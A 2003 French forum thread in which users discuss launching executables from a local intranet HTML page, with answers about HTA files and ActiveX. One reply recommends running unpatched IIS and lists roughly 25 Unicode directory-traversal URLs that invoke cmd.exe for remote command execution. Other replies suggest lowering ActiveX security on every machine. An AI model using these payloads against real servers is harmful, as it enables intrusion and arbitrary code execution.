Lancer un programme à partir d'une page HTML - HTML/CSS - Programmation
Marsh Posté le 10-02-2003 à 11:22:00
ba en fait je suis entrain de créer un site intranet destiné à etre consulté directement à partir d'un disque dur en local donc, et je souhaiterais mettre un lien permettant de lancer une application externe
Marsh Posté le 10-02-2003 à 12:02:58
bah si c en local il suffit de mettre le chemin du fichier en lien lol!
Marsh Posté le 10-02-2003 à 15:43:19
ba tu te trompes, test et tu verras qu'il y a tout de meme la boite de dialogue de téléchargement
Marsh Posté le 10-02-2003 à 15:52:33
mandrax a écrit : ba tu te trompes, test et tu verras qu'il y a tout de meme la boite de dialogue de téléchargement |
oui
et tu pe choisir entre lancer et télécharger
sufit de faire lancer..
mais de tte facon tu devras tjrs avoir une confirmation de lutilisateur, sinon imagine les désastres , on pourait lancer des virus sur le PC du visiteur
Marsh Posté le 04-03-2003 à 09:11:05
Idem je voudrais faire la même chose que lui car les gens ne comprennent pas qu'il faut cliquer sur "ouvrir" et pas sur enregistrer
De plus quand on clique sur le lien (si c'est un gros fichier) celui-ci se charge en local (je suis sur un cdrom) ce qui prend parfois 2-3 minutes avant d'afficher la boîte de dialogue "téléchargement"
Une idée ?
Marsh Posté le 04-03-2003 à 10:36:14
Falconpage a écrit : Idem je voudrais faire la même chose que lui car les gens ne comprennent pas qu'il faut cliquer sur "ouvrir" et pas sur enregistrer |
T'as pas lu, juste au dessus de ton message ? On vient de te dire qu'il faut forcément une confirmation. Tu zappera pas de boite de dialogue...
Marsh Posté le 04-03-2003 à 21:23:12
ouaip, si vous tenez à ce que votre intranet lance des programmes,
y a pas d'autre solution que mettre une version pourrie d'IE et exploiter dans les pages une faille de securite (ça peut etre pratique, mais si vos navigateurs visitent internet, c'est pas conseillé)
Marsh Posté le 04-03-2003 à 21:29:15
thesmilingface a écrit : ouaip, si vous tenez à ce que votre intranet lance des programmes, |
tu te répètes, là
Marsh Posté le 04-03-2003 à 21:55:48
on rigole, on rigole...
mais je rappelle les stats:
- IE 95 %
dont
IE5.x 47 %
IE6 46 %
et les désoeuvrés:
IE4.x 1,58%
IE3.x 0,02%
si on pose qu'un ie est pourri si son numero de version est inferieur à 6 , on a CPOURRI=49%
si on pose qu'ie6 est tout nouveau, tout bo et megastable (surtout dans le cas d'un cd gravé d'ie6 rangé à plat au fond d'un tiroir)
on a TOPDUTOP=46%
ça fait 5% de navigateurs alternatifs
dont 4% de Netscape
et Mozilla ? et Opera ? ils sont là dedans => [ 1 % ]
ça fait mal...
Marsh Posté le 04-03-2003 à 21:57:47
Skylight a écrit : |
bon tu veux réellement la soluce?
je vais te la donner...
Tu installe IIS4.0 ou meme 5.0 sur ton WINNT
tu patch rien du tout,
ton serveur sera plein de faille.
Ensuite tu fout tes pages etc..
et pour executer tu utilise une faille unicode
exemple de faille :
/scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir
/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir
/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir
/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir
/scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir
/scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir
/scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir
/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
par exemple sur ton site
www.abc.com/scripts/..%255c../winn [...] exe?/c+dir
tu rajoute a lurl
www.abc.com/scripts/..%255c../winn [...] ichier.EXe
et ca va executer le fichier sur le server...
ETC
tu pe tamuser a tentrainer a exploiter toute les failles IIS si tu ve
fé des recherches
ATTENTION ce message est a titre indicatif
et biensur tu pe hacker ta machine mais pas celle d otre....
ADmin: edit mon msg si besoin
++
a bon entendeur
Marsh Posté le 04-03-2003 à 22:35:55
Y a moyen de passer la confirmation mais :
- ça ne marche qu'en local (page dont l'url commence par file://)
- ça ne marche qu'avec IE
- ça ne marche qu'avec les .hta
ex:
|
à sauver dans un fichier à l'extension .hta
via des paramètres y a moyen de mettre le truc en fullscreen au démarrage, etc. :
|
(à rajouter dans le head)
c'est pratique pour des autoruns de CD
Marsh Posté le 04-03-2003 à 22:59:23
thesmilingface a écrit : on rigole, on rigole... |
je parle pas de sécurité et d'utilisation
je parle d'IE et son parsing de l'HTML
pourquoi ya plein de failles ? paske il a tendance a tout accepter
une page qui marche sous IE est loin de forcément marcher niquel sous mozilla
Marsh Posté le 04-03-2003 à 23:09:09
antp a écrit : Y a moyen de passer la confirmation mais :
|
tres interessant le .HTA
en fait ce kil pe faire ossi c presk la meme choz, avec le coup du ActiveX objet, mais il y a une confirmation, et pr virer la confirmation sufit de changer les parametre de securité concernant lactiveX sur tte les bécane du rezo ki font utiliser le site
Marsh Posté le 05-03-2003 à 00:03:24
Skylight a écrit : je parle pas de sécurité et d'utilisation |
Il n'y a pas forcément de lien entre le fait que le moteur de rendu d'IE soit très laxiste avec le code HTML qu'il interprète et la sécurité.
Les problèmes de sécurité sont principalement dû à l'implémentation de JavaScript et à l'intégration poussé du navigateur avec l'OS.
Skylight a écrit : une page qui marche sous IE est loin de forcément marcher niquel sous mozilla |
Hélas
Marsh Posté le 10-03-2003 à 11:15:49
antp a écrit : Y a moyen de passer la confirmation mais :
|
Merci
Je vais tester.
Marsh Posté le 10-03-2003 à 11:45:06
antp a écrit : Y a moyen de passer la confirmation mais :
|
...sauf que, quand j'essaye de lancer un programme par ce truc, norton me balance une grosse alerte : "Attention, script malveillant, voulez vous autoriser son exécution ?".
Pour un autorun, c moyen, ça met pas vraiment l'utilisateur en confiance !
Marsh Posté le 10-03-2003 à 11:51:29
ha ? chez moi Norton ne dit rien T'as bien mis .hta au lieu de .html ?
Marsh Posté le 10-03-2003 à 14:08:30
Reply
Marsh Posté le 10-02-2003 à 10:57:43
est il possible de lancer un executable, comme on peut le faire avec l'explorateur windows, à partir d'une page html, n'y aurait il pas klk chose a faire avec les activex ou applet java ?